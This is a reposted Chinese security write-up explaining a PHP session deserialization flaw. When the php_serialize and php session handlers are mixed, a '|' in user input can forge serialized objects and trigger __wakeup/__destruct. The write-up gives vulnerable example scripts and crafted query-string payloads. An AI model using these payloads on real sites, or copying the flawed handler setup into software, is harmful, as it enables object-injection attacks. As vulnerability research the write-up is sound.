<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/3909

            PHP Session 序列化及反序列化處理器


            PHP 內置了多種處理器用于存取 $_SESSION 數據時會對數據進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式:

            處理器 對應的存儲格式
            php 鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值
            php_binary 鍵名的長度對應的 ASCII 字符 + 鍵名 + 經過 serialize() 函數反序列處理的值
            php_serialize
            (php>=5.5.4)
            經過 serialize() 函數反序列處理的數組

            配置選項 session.serialize_handler


            PHP 提供了 session.serialize_handler 配置選項,通過該選項可以設置序列化及反序列化時使用的處理器:

            session.serialize_handler "php" PHP_INI_ALL

            安全隱患

            通過上面對存儲格式的分析,如果 PHP 在反序列化存儲的 $_SESSION 數據時的使用的處理器和序列化時使用的處理器不同,會導致數據無法正確反序列化,通過特殊的構造,甚至可以偽造任意數據:)

            $_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
            

            例如上面的 $_SESSION 數據,在存儲時使用的序列化處理器為 php_serialize,存儲的格式如下:

            a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
            

            在讀取數據時如果用的反序列化處理器不是 php_serialize,而是 php 的話,那么反序列化后的數據將會變成:

            #!php
            // var_dump($_SESSION);
            array(1) {
              ["a:1:{s:4:"ryat";s:20:""]=>
              object(stdClass)#1 (0) {
              }
            }
            

            可以看到,通過注入 | 字符偽造了對象的序列化數據,成功實例化了 stdClass 對象:)

            實際利用


            i)當 session.auto_start=On 時:

            當配置選項 session.auto_start=On,會自動注冊 Session 會話,因為該過程是發生在腳本代碼執行前,所以在腳本中設定的包括序列化處理器在內的 session 相關配選項的設置是不起作用的,因此一些需要在腳本中設置序列化處理器配置的程序會在 session.auto_start=On 時,銷毀自動生成的 Session 會話,然后設置需要的序列化處理器,再調用 session_start() 函數注冊會話,這時如果腳本中設置的序列化處理器與 php.ini 中設置的不同,就會出現安全問題,如下面的代碼:

            #!php
            //foo.php
            
            if (ini_get('session.auto_start')) {
                session_destroy();
            }
            
            ini_set('session.serialize_handler', 'php_serialize');
            session_start();
            
            $_SESSION['ryat'] = $_GET['ryat'];
            

            當第一次訪問該腳本,并提交數據如下:

            foo.php?ryat=|O:8:"stdClass":0:{}
            

            腳本會按照 php_serialize 處理器的序列化格式存儲數據:

            a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
            

            當第二次訪問該腳本時,PHP 會按照 php.ini 里設置的序列化處理器反序列化存儲的數據,這時如果 php.ini 里設置的是 php 處理器的話,將會反序列化偽造的數據,成功實例化了 stdClass 對象:)

            這里需要注意的是,因為 PHP 自動注冊 Session 會話是在腳本執行前,所以通過該方式只能注入 PHP 的內置類。

            ii)當 session.auto_start=Off 時:

            當配置選項 session.auto_start=Off,兩個腳本注冊 Session 會話時使用的序列化處理器不同,就會出現安全問題,如下面的代碼:

            #!php
            //foo1.php
            
            ini_set('session.serialize_handler', 'php_serialize');
            session_start();
            
            $_SESSION['ryat'] = $_GET['ryat'];
            
            
            //foo2.php
            
            ini_set('session.serialize_handler', 'php');
            //or session.serialize_handler set to php in php.ini 
            session_start();
            
            class ryat {
                var $hi;
            
                function __wakeup() {
                    echo 'hi';
                }
                function __destruct() {
                    echo $this->hi;
                }
            }
            

            當訪問 foo1.php 時,提交數據如下:

            foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
            

            腳本會按照 php_serialize 處理器的序列化格式存儲數據,訪問 foo2.php 時,則會按照 php 處理器的反序列化格式讀取數據,這時將會反序列化偽造的數據,成功實例化了 ryat 對象,并將會執行類中的 __wakeup 方法和 __destruct 方法:)

            iii)其他利用方式?

            請自行發掘:)

            from:http://www.80vul.com/pch/pch-013.txt

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线